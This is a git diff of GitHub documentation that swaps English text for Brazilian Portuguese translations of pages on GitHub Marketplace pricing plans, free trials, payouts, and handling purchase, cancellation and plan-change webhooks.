-Customers purchase your app using a payment method attached to their account on {% data variables.product.product_location %}, without having to leave {% data variables.product.prodname_dotcom_the_website %}. You don't have to write code to perform billing transactions, but you will have to handle events from the {% data variables.product.prodname_marketplace %} API. For more information, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)."
+Os planos de preços de {% data variables.product.prodname_marketplace %} podem ser grátis, fixos ou por unidade. Os preços são definidos, exibidos e processados em dólares. Os planos pagos são restritos a aplicativos publicados por editores verificados. Para obter mais informações sobre como se tornar um editor verificado, consulte "[Candidatar-se à verificação de publicador para a sua organização](/developers/github-marketplace/applying-for-publisher-verification-for-your-organization)".
 
-If the app you're listing on {% data variables.product.prodname_marketplace %} has multiple plan options, you can set up corresponding pricing plans. For example, if your app has two plan options, an open source plan and a pro plan, you can set up a free pricing plan for your open source plan and a flat pricing plan for your pro plan. Each {% data variables.product.prodname_marketplace %} listing must have an annual and a monthly price for every plan that's listed.
+Os clientes compram seu aplicativo usando um método de pagamento anexado à sua conta em {% data variables.product.product_location %}, sem ter que sair de {% data variables.product.prodname_dotcom_the_website %}. Você não precisa escrever um código para realizar transações de cobrança, mas deverá gerenciar eventos da API de {% data variables.product.prodname_marketplace %}. Para obter mais informações, consulte "[Usar a API de {% data variables.product.prodname_marketplace %} no seu aplicativo](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)".
 
-For more information on how to create a pricing plan, see "[Setting a {% data variables.product.prodname_marketplace %} listing's pricing plan](/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan/)."
+Se o aplicativo que você está listando no {% data variables.product.prodname_marketplace %} tiver várias opções de plano, você poderá definir os planos de preços correspondentes. Por exemplo, se o app tiver duas opções de plano, um plano de código aberto e um plano profissional, você poderá criar um plano de preços grátis para o seu plano de código aberto e um plano de preço fixo para o seu plano profissional. Cada listagem do {% data variables.product.prodname_marketplace %} deve ter um preço anual e um preço mensal para todos os planos listados.
+
+Para obter mais informações sobre como criar um plano de preços, consulte "[Configurar um plano de preços da listagem de {% data variables.product.prodname_marketplace %}](/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan/)".
 
 {% data reusables.marketplace.free-plan-note %}
 
-## Types of pricing plans
+## Tipos de planos de preços
 
-### Free pricing plans
+### Planos de preços grátis
 
 {% data reusables.marketplace.free-apps-encouraged %}
 
-Free plans are completely free for users. If you set up a free pricing plan, you cannot charge users that choose the free pricing plan for the use of your app. You can create both free and paid plans for your listing.
+Planos grátis são completamente grátis para os usuários. Se você configurar um plano de preços grátis, você não poderá cobrar os usuários que escolherem o plano de preços grátis para o uso do seu aplicativo. Você pode criar planos grátis e pagos para a sua listagem.
 
-All apps need to handle events for new purchases and cancellations. Apps that only have free plans do not need to handle events for free trials, upgrades, and downgrades. For more information, see: "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)."
+Todos os aplicativos precisam gerenciar eventos para novas compras e cancelamentos. Os aplicativos que só têm planos grátis não precisam gerenciar eventos para testes, atualizações e downgrades grátis. Para mais informações, consulte: "[Usar a API de {% data variables.product.prodname_marketplace %} no seu aplicativo](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)".
 
-If you add a paid plan to an app that you've already listed in {% data variables.product.prodname_marketplace %} as a free service, you'll need to request verification for the app and go through financial onboarding.
+Se você adicionar um plano pago a um aplicativo que já esteja listado em {% data variables.product.prodname_marketplace %} como um serviço grátis, você precisará solicitar verificação para o aplicativo e passar pela integração financeira.
 
-### Paid pricing plans
+### Planos de preços pagos
 
-There are two types of paid pricing plan:
+Existem dois tipos de planos de preços pagos:
 
-- Flat rate pricing plans charge a set fee on a monthly and yearly basis.
+- Os planos de preços fixos cobram uma taxa definida mensalmente e anualmente.
 
-- Per-unit pricing plans charge a set fee on either a monthly or yearly basis for a unit that you specify. A "unit" can be anything you'd like (for example, a user, seat, or person).
+- Os planos de preços por unidade cobram uma taxa definida mensalmente ou anualmente para uma unidade que você especificar. Uma "unidade" pode ser qualquer coisa que você deseje (por exemplo, um usuário, estação ou pessoa).
 
-You may also want to offer free trials. These provide free, 14-day trials of OAuth or GitHub Apps to customers. When you set up a Marketplace pricing plan, you can select the option to provide a free trial for flat-rate or per-unit pricing plans.
+Você também pode oferecer testes grátis. Eles fornecem gratuitamente testes de 14 dias referentes aos aplicativos OAuth ou GitHub para os clientes. Ao configurar um plano de preços do Marketplace você poderá selecionar a opção de fornecer um teste gratuito para planos de taxa fixa ou por unidade de preços
 
-## Free trials
+## Testes grátis
 
-Customers can start a free trial for any paid plan on a Marketplace listing that includes free trials. However, customers cannot create more than one free trial per marketplace product.
+Os clientes podem iniciar uma avaliação gratuita para qualquer plano pago de um anúncio do Marketplace que inclui testes grátis. No entanto, os clientes não podem criar mais de um teste grátis por produto no marketplace.
 
-Free trials have a fixed length of 14 days. Customers are notified 4 days before the end of their trial period (on day 11 of the free trial) that their plan will be upgraded. At the end of a free trial, customers will be auto-enrolled into the plan they are trialing if they do not cancel.
+Os testes gratuitos têm uma duração fixa de 14 dias. Os clientes são notificados 4 dias antes do final do período de teste (no 11o dia do teste grátis) de que seu plano será atualizado. No final do teste grátis, os clientes serão inscritos automaticamente no plano que estão testando, caso não efetuem o cancelamento.
 
-For more information, see: "[Handling new purchases and free trials](/developers/github-marketplace/handling-new-purchases-and-free-trials/)."
+Para mais informações, consulte: "[Como gerenciar novas compras e testes grátis](/developers/github-marketplace/handling-new-purchases-and-free-trials/)".
 
 {% note %}
 
-**Note:** GitHub expects you to delete any private customer data within 30 days of a cancelled trial, beginning at the receipt of the cancellation event.
+**Observação:** O GitHub espera que você exclua quaisquer dados privados do cliente no prazo de 30 dias após o cancelamento do teste, a contar do recebimento do evento de cancelamento.
 
 {% endnote %}
diff --git a/translations/pt-BR/content/developers/github-marketplace/selling-your-app-on-github-marketplace/receiving-payment-for-app-purchases.md b/translations/pt-BR/content/developers/github-marketplace/selling-your-app-on-github-marketplace/receiving-payment-for-app-purchases.md
index 37bfe4dd23..6739f3f6f2 100644
--- a/translations/pt-BR/content/developers/github-marketplace/selling-your-app-on-github-marketplace/receiving-payment-for-app-purchases.md
+++ b/translations/pt-BR/content/developers/github-marketplace/selling-your-app-on-github-marketplace/receiving-payment-for-app-purchases.md
@@ -1,6 +1,6 @@
 ---
-title: Receiving payment for app purchases
-intro: 'At the end of each month, you''ll receive payment for your {% data variables.product.prodname_marketplace %} listing.'
+title: Receber pagamento por compras de aplicativo
+intro: 'Ao final de cada mês, você receberá um pagamento pela sua listagem em {% data variables.product.prodname_marketplace %}.'
 redirect_from:
   - /apps/adding-integrations/managing-pricing-and-payments-for-a-github-marketplace-listing/receiving-payment-for-a-github-marketplace-listing
   - /apps/marketplace/managing-pricing-and-payments-for-a-github-marketplace-listing/receiving-payment-for-a-github-marketplace-listing
@@ -13,16 +13,17 @@ versions:
   ghec: '*'
 topics:
   - Marketplace
-shortTitle: Receive payment
+shortTitle: Receber pagamentos
 ---
-After your {% data variables.product.prodname_marketplace %} listing for an app with a paid plan is created and approved, you'll provide payment details to {% data variables.product.product_name %} as part of the financial onboarding process.
 
-Once your revenue reaches a minimum of 500 US dollars for the month, you'll receive an electronic payment from {% data variables.product.company_short %}. This will be the income from marketplace transactions minus the amount charged by {% data variables.product.company_short %} to cover their running costs.
+Depois que o seu anúncio de {% data variables.product.prodname_marketplace %} para um aplicativo com um plano pago for criado e aprovado, você fornecerá detalhes de pagamento para {% data variables.product.product_name %} como parte do processo de integração financeira.
 
-For transactions made before January 1, 2021, {% data variables.product.company_short %} retains 25% of transaction income. For transactions made after that date, only 5% is retained by {% data variables.product.company_short %}. This change will be reflected in payments received from the end of January 2021 onward.
+Quando sua receita atingir o mínimo de US$ 500 dólares no mês, você receberá um pagamento eletrônico de {% data variables.product.company_short %}. Este será o rendimento das transações no mercado menos o valor cobrado por {% data variables.product.company_short %} para cobrir seus custos administrativos.
+
+Para transações feitas antes de 1 de janeiro de 2021, {% data variables.product.company_short %} irá reter 25% da renda da transação. Para transações feitas após essa data, apenas 5% é será retido por {% data variables.product.company_short %}. Esta alteração irá refletir-se nos pagamentos recebidos a partir do final de Janeiro de 2021.
 
 {% note %}
 
-**Note:** For details of the current pricing and payment terms, see "[{% data variables.product.prodname_marketplace %} developer agreement](/free-pro-team@latest/github/site-policy/github-marketplace-developer-agreement)."
+**Observação:** Para obter os detalhes dos preços atuais e dos termos de pagamento, consulte o "[ acordo do desenvolvedor de {% data variables.product.prodname_marketplace %}](/free-pro-team@latest/github/site-policy/github-marketplace-developer-agreement)".
 
 {% endnote %}
diff --git a/translations/pt-BR/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-new-purchases-and-free-trials.md b/translations/pt-BR/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-new-purchases-and-free-trials.md
index 54fb39ac9f..43e5edaed6 100644
--- a/translations/pt-BR/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-new-purchases-and-free-trials.md
+++ b/translations/pt-BR/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-new-purchases-and-free-trials.md
@@ -1,6 +1,6 @@
 ---
-title: Handling new purchases and free trials
-intro: 'When a customer purchases a paid plan, free trial, or the free version of your {% data variables.product.prodname_marketplace %} app, you''ll receive the [`marketplace_purchase` event](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events) webhook with the `purchased` action, which kicks off the purchasing flow.'
+title: Gerenciar novas compras e testes grátis
+intro: 'Quando um cliente adquire um plano pago, um teste grátis ou a versão gratuita do seu aplicativo do {% data variables.product.prodname_marketplace %}, você receberá o evento [`marketplace_purchase`](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events) com a ação `comprado`, que inicia o fluxo de compra.'
 redirect_from:
   - /apps/marketplace/administering-listing-plans-and-user-accounts/supporting-purchase-plans-for-github-apps
   - /apps/marketplace/administering-listing-plans-and-user-accounts/supporting-purchase-plans-for-oauth-apps
@@ -12,72 +12,73 @@ versions:
   ghec: '*'
 topics:
   - Marketplace
-shortTitle: New purchases & free trials
+shortTitle: Novas compras & testes gratuitos
 ---
+
 {% warning %}
 
-If you offer a {% data variables.product.prodname_github_app %} in {% data variables.product.prodname_marketplace %}, your app must identify users following the OAuth authorization flow. You don't need to set up a separate {% data variables.product.prodname_oauth_app %} to support this flow. See "[Identifying and authorizing users for {% data variables.product.prodname_github_apps %}](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)" for more information.
+Se você oferece um {% data variables.product.prodname_github_app %} em {% data variables.product.prodname_marketplace %}, seu aplicativo deverá identificar usuários seguindo o fluxo de autorização do OAuth. Você não precisa configurar {% data variables.product.prodname_oauth_app %} separadamente para dar suporte a este fluxo. Consulte "[Identificar e autorizar usuários para {% data variables.product.prodname_github_apps %}](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)" para obter mais informações.
 
 {% endwarning %}
 
-## Step 1. Initial purchase and webhook event
+## Etapa 1. Compra inicial e evento de webhook
 
-Before a customer purchases your {% data variables.product.prodname_marketplace %} app, they select a [listing plan](/marketplace/selling-your-app/github-marketplace-pricing-plans/). They also choose whether to purchase the app from their personal account or an organization account.
+Antes de um cliente comprar o seu aplicativo no {% data variables.product.prodname_marketplace %}, ele irá selecionar um [plano de listagem](/marketplace/selling-your-app/github-marketplace-pricing-plans/). O cliente também escolhe se deseja comprar o aplicativo a partir da sua conta pessoal ou a partir da conta de uma organização.
 
-The customer completes the purchase by clicking **Complete order and begin installation**.
+O cliente efetua a compra clicando em **Concluir pedido e começar a instalação**.
 
-{% data variables.product.product_name %} then sends the [`marketplace_purchase`](/webhooks/event-payloads/#marketplace_purchase) webhook with the `purchased` action to your app.
+{% data variables.product.product_name %} depois envia o webhook de [`marketplace_purchase`](/webhooks/event-payloads/#marketplace_purchase) com a ação `purchased` para o seu aplicativo.
 
-Read the `effective_date` and `marketplace_purchase` object from the `marketplace_purchase` webhook to determine which plan the customer purchased, when the billing cycle starts, and when the next billing cycle begins.
+Leia o objeto `effective_date` e `marketplace_purchase` do webhook `marketplace_purchase` para determinar qual plano o cliente comprou, quando começa o ciclo de cobrança, e quando começa o próximo ciclo de cobrança.
 
-If your app offers a free trial, read the `marketplace_purchase[on_free_trial]` attribute from the webhook. If the value is `true`, your app will need to track the free trial start date (`effective_date`) and the date the free trial ends (`free_trial_ends_on`). Use the `free_trial_ends_on` date to display the remaining days left in a free trial in your app's UI. You can do this in either a banner or in your [billing UI](/marketplace/selling-your-app/billing-customers-in-github-marketplace/#providing-billing-services-in-your-apps-ui). To learn how to handle cancellations before a free trial ends, see "[Handling plan cancellations](/developers/github-marketplace/handling-plan-cancellations)." See "[Handling plan changes](/developers/github-marketplace/handling-plan-changes)" to find out how to transition a free trial to a paid plan when a free trial expires.
+Se o seu aplicativo oferecer um teste grátis, leia o atributo `marketplace_purchase[on_free_trial]` do webhook. Se o valor for `verdadeiro`, seu aplicativo deverá acompanhar a data de início de teste gratuito (`effective_date`) e a data em que o teste gratuito termina (`free_trial_ends_on`). Use a data `free_trial_ends_on` para exibir os dias restantes em um teste gratuito na interface de usuário do seu aplicativo. Você pode fazer isso em um banner ou na sua [interface de usuário de cobrança](/marketplace/selling-your-app/billing-customers-in-github-marketplace/#providing-billing-services-in-your-apps-ui). Para aprender como lidar com os cancelamentos antes de um teste grátis, consulte "[Gerenciar cancelamentos de plano](/developers/github-marketplace/handling-plan-cancellations)". Consulte "[Gerenciamento das alterações de plano](/developers/github-marketplace/handling-plan-changes)" para descobrir como fazer transição de um teste grátis para um plano pago quando um teste gratuito expira.
 
-See "[{% data variables.product.prodname_marketplace %} webhook events](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/)" for an example of the `marketplace_purchase` event payload.
+Consulte "[ eventos de webhook de {% data variables.product.prodname_marketplace %}](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/)para obter um exemplo da carga de evento `marketplace_purchase`.
 
-## Step 2. Installation
+## Etapa 2. Instalação
 
-If your app is a {% data variables.product.prodname_github_app %}, {% data variables.product.product_name %} prompts the customer to select which repositories the app can access when they purchase it. {% data variables.product.product_name %} then installs the app on the account the customer selected  and grants access to the selected repositories.
+Se seu aplicativo é {% data variables.product.prodname_github_app %}, {% data variables.product.product_name %} irá solicitar ao cliente que selecione quais repositórios o aplicativo pode acessar quando comprá-lo. {% data variables.product.product_name %} em seguida, instala o aplicativo na conta selecionada pelo cliente e concede acesso aos repositórios selecionados.
 
-At this point, if you specified a **Setup URL** in your {% data variables.product.prodname_github_app %} settings, {% data variables.product.product_name %} will redirect the customer to that URL. If you do not specify a setup URL, you will not be able to handle purchases of your {% data variables.product.prodname_github_app %}.
+Neste ponto, se você especificou uma **Configuração de URL** nas suas configurações de {% data variables.product.prodname_github_app %}, {% data variables.product.product_name %} irá redirecionar o cliente para essa URL. Se não especificar uma URL de configuração, você não conseguirá gerenciar as compras do seu {% data variables.product.prodname_github_app %}.
 
 {% note %}
 
-**Note:** The **Setup URL** is described as optional in {% data variables.product.prodname_github_app %} settings, but it is a required field if you want to offer your app in {% data variables.product.prodname_marketplace %}.
+**Observação:** A **URL de configuração** é descrita como opcional nas configurações de {% data variables.product.prodname_github_app %}, mas é um campo obrigatório se desejar oferecer seu aplicativo em {% data variables.product.prodname_marketplace %}.
 
 {% endnote %}
 
-If your app is an {% data variables.product.prodname_oauth_app %}, {% data variables.product.product_name %} does not install it anywhere. Instead, {% data variables.product.product_name %} redirects the customer to the **Installation URL** you specified in your [{% data variables.product.prodname_marketplace %} listing](/marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions/#listing-urls).
+Se seu aplicativo for um {% data variables.product.prodname_oauth_app %}, {% data variables.product.product_name %} não irá instalá-lo em qualquer lugar. Em vez disso, {% data variables.product.product_name %} irá redirecionar o cliente para a **URL de Instalação** que você especificou no seu [ anúncio de {% data variables.product.prodname_marketplace %}](/marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions/#listing-urls).
 
-When a customer purchases an {% data variables.product.prodname_oauth_app %}, {% data variables.product.product_name %} redirects the customer to the URL you choose (either Setup URL or Installation URL) and the URL includes the customer's selected pricing plan as a query parameter: `marketplace_listing_plan_id`.
+Quando um cliente compra um {% data variables.product.prodname_oauth_app %}, {% data variables.product.product_name %} irá redirecionar o cliente para a URL que você escolher (URL de configuração ou URL de instalação) e a URL irá incluir o plano de precificação selecionado pelo cliente como um parâmetro de consulta: `marketplace_listing_plan_id`.
 
-## Step 3. Authorization
+## Etapa 3. Autorização
 
-When a customer purchases your app, you must send the customer through the OAuth authorization flow:
+Quando um cliente compra seu aplicativo, você deve enviar o cliente por meio do fluxo de autorização OAuth:
 
-* If your app is a {% data variables.product.prodname_github_app %}, begin the authorization flow as soon as {% data variables.product.product_name %} redirects the customer to the **Setup URL**. Follow the steps in "[Identifying and authorizing users for {% data variables.product.prodname_github_apps %}](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)."
+* Se seu aplicativo for {% data variables.product.prodname_github_app %}, inicie o fluxo de autorização assim que {% data variables.product.product_name %} redirecionar o cliente para a **URL de configuração**. Siga os passos em "[Identificar e autorizar usuários para {% data variables.product.prodname_github_apps %}](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)".
 
-* If your app is an {% data variables.product.prodname_oauth_app %}, begin the authorization flow as soon as {% data variables.product.product_name %} redirects the customer to the **Installation URL**. Follow the steps in "[Authorizing {% data variables.product.prodname_oauth_apps %}](/apps/building-oauth-apps/authorizing-oauth-apps/)."
+* Se seu aplicativo for um {% data variables.product.prodname_oauth_app %}, inicie o fluxo de autorização assim que {% data variables.product.product_name %} redirecionar o cliente para a **URL de instalação**. Siga as etapas em "[Autorizar {% data variables.product.prodname_oauth_apps %}](/apps/building-oauth-apps/authorizing-oauth-apps/)".
 
-For either type of app, the first step is to redirect the customer to https://github.com/login/oauth/authorize.
+Para qualquer tipo de aplicativo, o primeiro passo é redirecionar o cliente para https://github.com/login/oauth/authorize.
 
-After the customer completes the authorization, your app receives an OAuth access token for the customer. You'll need this token for the next step.
+Depois que o cliente concluir a autorização, seu aplicativo receberá um token de acesso do OAuth para o cliente. Você prrecisará desse token para a próxima etapa.
 
 {% note %}
 
-**Note:** When authorizing a customer on a free trial, grant them the same access they would have on the paid plan.  You'll move them to the paid plan after the trial period ends.
+**Observação:** Ao autorizar um cliente em um teste gratuito, conceda a ele o mesmo acesso que ele teria no plano pago.  Você irá transferi-los para o plano pago após o término do período de teste.
 
 {% endnote %}
 
-## Step 4. Provisioning customer accounts
+## Etapa 4. Provisionar as contas dos clientes
 
-Your app must provision a customer account for all new purchases. Using the access token you received for the customer in [Step 3. Authorization](#step-3-authorization), call the "[List subscriptions for the authenticated user](/rest/reference/apps#list-subscriptions-for-the-authenticated-user)" endpoint. The response will include the customer's `account` information and show whether they are on a free trial (`on_free_trial`). Use this information to complete setup and provisioning.
+Seu aplicativo deve fornecer uma conta de cliente para todas as novas compras. Usar o token de acesso que você recebeu para o cliente na [Etapa 3. Autorização](#step-3-authorization), chame o ponto de extremidade "[Lista de assinaturas para o usuário autenticado](/rest/reference/apps#list-subscriptions-for-the-authenticated-user)". A resposta incluirá a `conta` do cliente e mostrará se está em um teste grátis (`on_free_trial`). Use estas informações para concluir a configuração e o provisionamento.
 
 {% data reusables.marketplace.marketplace-double-purchases %}
 
-If the purchase is for an organization and per-user, you can prompt the customer to choose which organization members will have access to the purchased app.
+Se a compra for para uma organização e por usuário, você poderá solicitar que o cliente escolha quais integrantes da organização terão acesso ao aplicativo comprado.
 
-You can customize the way that organization members receive access to your app. Here are a few suggestions:
+É possível personalizar a forma como os integrantes da organização recebem acesso ao seu aplicativo. Aqui estão algumas sugestões:
 
-**Flat-rate pricing:** If the purchase is made for an organization using flat-rate pricing, your app can [get all the organization’s members](/rest/reference/orgs#list-organization-members) via the API and prompt the organization admin to choose which members will have paid users on the integrator side.
+**Preços fixos:** Se a compra for feita para uma organização que usa preços fixos, seu aplicativo poderá [obter todos os integrantes da organização](/rest/reference/orgs#list-organization-members) através da API e solicitar ao administrador da organização que escolha quais integrantes terão usuários pagos no lado do integrador.
 
-**Per-unit pricing:** One method of provisioning per-unit seats is to allow users to occupy a seat as they log in to the app. Once the customer hits the seat count threshold, your app can alert the user that they need to upgrade through {% data variables.product.prodname_marketplace %}.
+**Preços por unidade:** Um método de provisionamento de estações por unidade é permitir que os usuários ocupem uma estação enquanto iniciam a sessão do aplicativo. Quando o cliente atingir o limite de contagem da estação, seu aplicativo poderá alertar o usuário de que ele precisa fazer a atualização do plano de {% data variables.product.prodname_marketplace %}.
diff --git a/translations/pt-BR/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-plan-cancellations.md b/translations/pt-BR/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-plan-cancellations.md
index bc5ef37804..14a4865c85 100644
--- a/translations/pt-BR/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-plan-cancellations.md
+++ b/translations/pt-BR/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-plan-cancellations.md
@@ -1,6 +1,6 @@
 ---
-title: Handling plan cancellations
-intro: 'Cancelling a {% data variables.product.prodname_marketplace %} app triggers the [`marketplace_purchase` event](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events) webhook with the `cancelled` action, which kicks off the cancellation flow.'
+title: Gerenciar cancelamento de plano
+intro: 'O cancelamento de um aplicativo de {% data variables.product.prodname_marketplace %} aciona o webhook do evento [`marketplace_purchase` event](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events) com a ação `cancelado`, que dá início ao fluxo de cancelamento.'
 redirect_from:
   - /apps/marketplace/administering-listing-plans-and-user-accounts/cancelling-plans
   - /apps/marketplace/integrating-with-the-github-marketplace-api/cancelling-plans
@@ -11,25 +11,26 @@ versions:
   ghec: '*'
 topics:
   - Marketplace
-shortTitle: Plan cancellations
+shortTitle: Cancelamentos de plano
 ---
-For more information about cancelling as it relates to billing, see "[Billing customers in {% data variables.product.prodname_marketplace %}](/apps//marketplace/administering-listing-plans-and-user-accounts/billing-customers-in-github-marketplace)."
 
-## Step 1. Cancellation event
+Para obter mais informações sobre cancelamento e como está relacionado à cobrança, consulte "[Cobrança de clientes {% data variables.product.prodname_marketplace %}](/apps//marketplace/administering-listing-plans-and-user-accounts/billing-customers-in-github-marketplace)".
 
-If a customer chooses to cancel a {% data variables.product.prodname_marketplace %} order, GitHub sends a [`marketplace_purchase`](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/) webhook with the action `cancelled` to your app when the cancellation takes effect. If the customer cancels during a free trial, your app will receive the event immediately. When a customer cancels a paid plan, the cancellation will occur at the end of the customer's billing cycle.
+## Etapa 1. Evento de cancelamento
 
-## Step 2. Deactivating customer accounts
+Se um cliente optar por cancelar um pedido do {% data variables.product.prodname_marketplace %}, o GitHub irá enviar um webhook de [`marketplace_purchase`](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/) com a ação `cancelado` para o seu aplicativo, quando o cancelamento entrar em vigor. Se o cliente efetuar o cancelamento durante um teste grátis, seu aplicativo receberá o evento imediatamente. Quando um cliente cancelar um plano pago, o cancelamento ocorrerá ao final do ciclo de cobrança do cliente.
 
-When a customer cancels a free or paid plan, your app must perform these steps to complete cancellation:
+## Etapa 2. Desativar as contas dos clientes
 
-1. Deactivate the account of the customer who cancelled their plan.
-1. Revoke the OAuth token your app received for the customer.
-1. If your app is an OAuth App, remove all webhooks your app created for repositories.
-1. Remove all customer data within 30 days of receiving the `cancelled` event.
+Quando um cliente cancela um plano grátis ou pago, seu aplicativo deve realizar essas etapas para concluir o cancelamento:
+
+1. Desative a conta do cliente que cancelou o plano.
+1. Revogue o token do OAuth que seu aplicativo recebeu para o cliente.
+1. Se o seu aplicativo for um aplicativo OAuth, remova todos os webhooks que seu aplicativo criou para os repositórios.
+1. Remova todos os dados do cliente em 30 dias após receber o evento `cancelado`.
 
 {% note %}
 
-**Note:** We recommend using the [`marketplace_purchase`](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/) webhook's `effective_date` to determine when a plan change will occur and periodically synchronizing the [List accounts for a plan](/rest/reference/apps#list-accounts-for-a-plan). For more information on webhooks, see "[{% data variables.product.prodname_marketplace %} webhook events](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/)."
+**Obsevação:** Recomendamos usar a `effective_date` do webhook [`marketplace_purchase`](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/) para determinar quando ocorrerá a mudança do plano e sincronizar periodicamente [Listar as contas para um plano](/rest/reference/apps#list-accounts-for-a-plan). Para obter mais informações sobre webhooks, consulte "[eventos de webhook do {% data variables.product.prodname_marketplace %}](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/)".
 
 {% endnote %}
diff --git a/translations/pt-BR/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-plan-changes.md b/translations/pt-BR/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-plan-changes.md
index 34142dbb37..aef08cd870 100644
--- a/translations/pt-BR/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-plan-changes.md
+++ b/translations/pt-BR/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-plan-changes.md
@@ -1,6 +1,6 @@
 ---
-title: Handling plan changes
-intro: 'Upgrading or downgrading a {% data variables.product.prodname_marketplace %} app triggers the [`marketplace_purchase` event](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/) webhook with the `changed` action, which kicks off the upgrade or downgrade flow.'
+title: Gerenciar mudanças de plano
+intro: 'Atualizar ou fazer downgrade de um aplicativo do {% data variables.product.prodname_marketplace %} aciona o webook do [`marketplace_purchase` event](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/) com a ação `alterado`, que dá início ao fluxo de atualização ou downgrade.'
 redirect_from:
   - /apps/marketplace/administering-listing-plans-and-user-accounts/upgrading-or-downgrading-plans
   - /apps/marketplace/integrating-with-the-github-marketplace-api/upgrading-and-downgrading-plans
@@ -12,54 +12,55 @@ versions:
 topics:
   - Marketplace
 ---
-For more information about upgrading and downgrading as it relates to billing, see "[Integrating with the {% data variables.product.prodname_marketplace %} API](/marketplace/integrating-with-the-github-marketplace-api/)."
 
-## Step 1. Pricing plan change event
+Para obter mais informações sobre atualização e downgrade com relação à cobrança, consulte "[Integração com a API do {% data variables.product.prodname_marketplace %}](/marketplace/integrating-with-the-github-marketplace-api/)".
 
-GitHub send the `marketplace_purchase` webhook with the `changed` action to your app, when a customer makes any of these changes to their {% data variables.product.prodname_marketplace %} order:
-* Upgrades to a more expensive pricing plan or downgrades to a lower priced plan.
-* Adds or removes seats to their existing plan.
-* Changes the billing cycle.
+## Etapa 1. Evento de mudança de plano de preços
 
-GitHub will send the webhook when the change takes effect. For example, when a customer downgrades a plan, GitHub sends the webhook at the end of the customer's billing cycle. GitHub sends a webhook to your app immediately when a customer upgrades their plan to allow them access to the new service right away. If a customer switches from a monthly to a yearly billing cycle, it's considered an upgrade. See "[Billing customers in {% data variables.product.prodname_marketplace %}](/marketplace/selling-your-app/billing-customers-in-github-marketplace/)" to learn more about what actions are considered an upgrade or downgrade.
+O GitHub envia o webhook `marketplace_purchase` com a ação `alterado` para o seu aplicativo, quando um cliente faz qualquer uma dessas alterações no seu pedido do {% data variables.product.prodname_marketplace %}:
+* Faz a atualização para um plano de preços mais caro ou para um plano de preços mais barato.
+* Adiciona ou remove estações para seu plano existente.
+* Altera o ciclo de cobrança.
 
-Read the `effective_date`, `marketplace_purchase`, and `previous_marketplace_purchase` from the `marketplace_purchase` webhook to update the plan's start date and make changes to the customer's billing cycle and pricing plan. See "[{% data variables.product.prodname_marketplace %} webhook events](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/)" for an example of the `marketplace_purchase` event payload.
+O GitHub enviará o webhook quando a alteração entrar em vigor. Por exemplo, quando um cliente faz o downgrade de um plano, o GitHub envia o webhook no final do ciclo de cobrança do cliente. O GitHub envia um webhook para o seu aplicativo imediatamente quando um cliente atualiza seu plano para permitir que acesse o novo serviço imediatamente. Se um cliente mudar de um ciclo de cobrança mensal para anual, isso é considerado uma atualização. Consulte "[Cobrança de clientes no {% data variables.product.prodname_marketplace %}](/marketplace/selling-your-app/billing-customers-in-github-marketplace/)" para saber mais sobre quais ações são consideradas um atualização ou downgrade.
 
-If your app offers free trials, you'll receive the `marketplace_purchase` webhook with the `changed` action when the free trial expires. If the customer's free trial expires, upgrade the customer to the paid version of the free-trial plan.
+Leia o `effective_date`, `marketplace_purchase` e `precedous_marketplace_purchase` do webhook `marketplace_purchase` para atualizar a data de início do plano e fazer alterações no ciclo de cobrança do cliente e no plano de preços. Consulte "[ eventos de webhook de {% data variables.product.prodname_marketplace %}](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/)para obter um exemplo da carga de evento `marketplace_purchase`.
 
-## Step 2. Updating customer accounts
+Se seu aplicativo oferecer testes grátis, você receberá o webhook `marketplace_purchase` com a ação `alterado` quando o teste grátis expirar. Se o teste grátis do cliente expirar, faça a atualização do cliente para a versão paga do plano grátis de teste.
 
-You'll need to update the customer's account information to reflect the billing cycle and pricing plan changes the customer made to their {% data variables.product.prodname_marketplace %} order. Display upgrades to the pricing plan, `seat_count` (for per-unit pricing plans), and billing cycle on your Marketplace app's website or your app's UI when you receive the `changed` action webhook.
+## Etapa 2. Atualizar as contas dos clientes
